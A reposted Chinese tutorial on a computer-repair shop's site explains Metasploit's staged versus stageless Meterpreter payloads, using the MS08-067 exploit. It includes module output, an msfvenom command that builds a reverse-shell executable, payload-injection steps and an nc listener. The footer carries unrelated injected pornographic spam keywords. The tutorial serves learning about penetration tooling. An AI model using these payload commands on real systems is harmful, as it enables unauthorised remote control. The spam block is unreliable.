錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
探尋Metasploit Payload模式背后的秘密

作者: 佚名  日期:2018-10-30 09:33:26   來源: 本站整理

 你們是否發現msf的payload中,經常會看見一對對長得特別像的兄弟?
​我第一次學習metasploit的時候,可能和大家的開場方式一樣,試用08067的漏洞來攻擊一臺windows xp獲取一個meterpreter shell。那個時候幾乎沒怎么變過的使用reverse_tcp連接,但是有一天…
payload/windows/x64/meterpreter/reverse_tcp                               normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
payload/windows/x64/meterpreter_reverse_tcp                               normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
​我發現了一對雙胞胎,他們長得幾乎一模一樣,但是我從來沒有見過別人使用他的另一個小兄弟,所以這篇文章,我就想和大家聊聊metasploit payload模式背后的秘密。
​我們就以這個常用的meterpreter reverse_tcp來舉例,其實這兩個payload的區別從官方介紹上的話,我們可以發現兩個比較重要的詞語來闡述他們的不同inline和stager,其實,用metasploit官方的說法來說,他們第一個payload屬于stage模式,第二個payload屬于stageless模式,那他們之間具體有什么區別呢?
我們還是使用經典的08067來介紹,下面是我們的模塊配置信息:
Stage
msf5 exploit(windows/smb/ms08_067_netapi) > show options 
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.2      yes       The target address range or CIDR identifier
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
當我們使用metasplit的ms08_067_netapi模塊之后,使用payload/windows/meterpreter/reverse_tcp模塊,并開啟一個multi/handler連接監聽著我們本機的4444端口,有了解過緩沖區溢出的同學可能都知道,攻擊者會利用軟件的某個缺陷來傳輸一段很長的shellcode來溢出目標的緩沖區,從而控制EIP指針來跳轉到我們的shellcode上,執行我們的代碼,但是這段shellcode并不能過長,shellcode過長,可能會導致覆蓋到了上一函數棧幀的數據,導致異常的發生。所以像我們攻擊者最希望就是生成一段短小精悍的shellcode啦。
像這張圖,我們攻擊機像目標靶機發送了一段shellcode,并覆蓋了EIP,導致程序執行的時候跳回shellcode的開頭,從而控制程序的執行情況,執行我們的惡意代碼,這段惡意代碼就只要干兩件事,第一件事就是向內存申請開辟一塊空間,第二件事就是回連我們的4444端口,這段shellcode為我們干的事情就好像是一個前排沖鋒的戰士,打開城墻的大門好讓更多的精兵沖進來。我們稱這段shellcode為stage0,也就是第一階段
這時,我們的攻擊機,已經開始監聽4444端口了,只要連接一成功,就會把meterpreter shell最核心的dll文件發送到靶機上
我們之前說過,當靶機運行了我們的shellcode,會在內存里面開辟一塊土地,這個地方就是為我們的metsrv留的,metsrv.dll這個文件是meterpreter的核心主件,有了他,我們才能獲取到一個meterpreter shell,當metsrv傳輸成功之后,shellcode就會把控制權轉給metsrv,metsrv這時再去請求另外兩個dll文件stdapi和priv。這個時候我們一般就會看到一個讓人振奮的提示:
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Sending stage (206403 bytes) to 10.73.151.75
[*] Starting interaction with 1...
meterpreter >
Stageless
現在我們知道了meterpreter/reverse_tcp是分階段的shellcode,并且他分階段的原因是因為在溢出攻擊的時候shellcode應該盡可能保持得更短,這個時候理解他小兄弟meterpreter_reverse_tcp就方便的多,和meterpreter/reverse_tcp不同的是,他的小兄弟meterpreter_reverse_tcp是一個不分階段的payload,我們稱之為stageless(unstage),他在生成的時候就已經將我們獲取一個meterpreter必須要用的stdapi已經包含在其中了。那這又有什么好處呢?試想一下,如果我們通過層層的代理,在內網進行漫游,這個時候使用分階段的payload如果網絡傳輸出現了問題,metsrv.dll沒有加載過去,可能就會錯失一個shell,stageless的payload會讓人放心不少默認的stageless payload只會包含stageless,所以如果想將stdapi和priv兩個組建給包含進去的華我們可以用extensions命令:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe
Another Thing
分階段的payload,我們必須使用exploit/multi/handler這個模塊使用,但是當我們想回彈一個基礎的shell的時候,其實可以使用nc來監聽端口直接回連到nc上,為了測試方便,我直接在已獲得session的機器中,注入新的payload來測試:
Target:
use exploit/windows/local/payload_inject
set payload windows/shell_reverse_tcp
set sessions 1
set DisablePayloadHandler True (這個設置是讓msf不監聽端口)
run
root:~# nc -nvpl 4444
當有時獲取到了root權限,想反彈linux shell的時候,這時meterprter的需求就不是那么高了,我們就可以使用shell_reverse_tcp(或者是bind)來生成一個stageless的bash腳本,直接使用nc來接受shell
視頻演示:
課后作業:
1.在生成一個windows/shell_reverse_tcp的時候,是否需要指定EXTENSIONS=stdapi,priv?
2.meterpreter_reverse_tcp是否可以不用exploit/multi/hander模塊,直接用nc來監聽獲取?
3.在你只有一個windows的反彈shell的時候,反悔想使用meterpreter的shell了,有什么辦法來獲取呢?
大家在留言處踴躍留言吧,記得加上自己的思考過程,have fun ^_^
REFERER:
https://xz.aliyun.com/t/1709
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode
 




熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 亚洲成a人无码亚洲成www牛牛| 久久久无码精品国产一区| 成人无码精品1区2区3区免费看| 无码毛片一区二区三区视频免费播放| 日韩久久无码免费毛片软件| 国模GOGO无码人体啪啪| 色欲AV永久无码精品无码| 亚洲国产精品成人精品无码区| 免费看无码自慰一区二区| 精品亚洲成在人线AV无码| 国产AV一区二区三区无码野战| 直接看的成人无码视频网站| 久久精品aⅴ无码中文字字幕| 18禁无遮挡无码网站免费 | 高清无码一区二区在线观看吞精 | 日韩精品无码视频一区二区蜜桃| 亚洲国产成人精品无码区在线网站| 亚洲无码精品浪潮| 色综合久久久无码中文字幕| 亚洲AV无码成人专区片在线观看 | 久久精品成人无码观看56| 性色AV无码中文AV有码VR| 91无码人妻精品一区二区三区L| 中文字幕乱码人妻无码久久| 亚洲一区二区三区AV无码| 自慰系列无码专区| 国产午夜无码片在线观看| 免费人成无码大片在线观看 | 日韩精品无码区免费专区| 久久久无码一区二区三区| 日韩精品真人荷官无码| 久久无码高潮喷水| 亚洲av无码精品网站| 亚洲av成人无码久久精品| 亚洲精品无码成人AAA片| 久久人妻内射无码一区三区| 亚洲精品无码Av人在线观看国产| 无码人妻一区二区三区免费视频| 日韩加勒比一本无码精品| 免费人成无码大片在线观看 | 国模GOGO无码人体啪啪|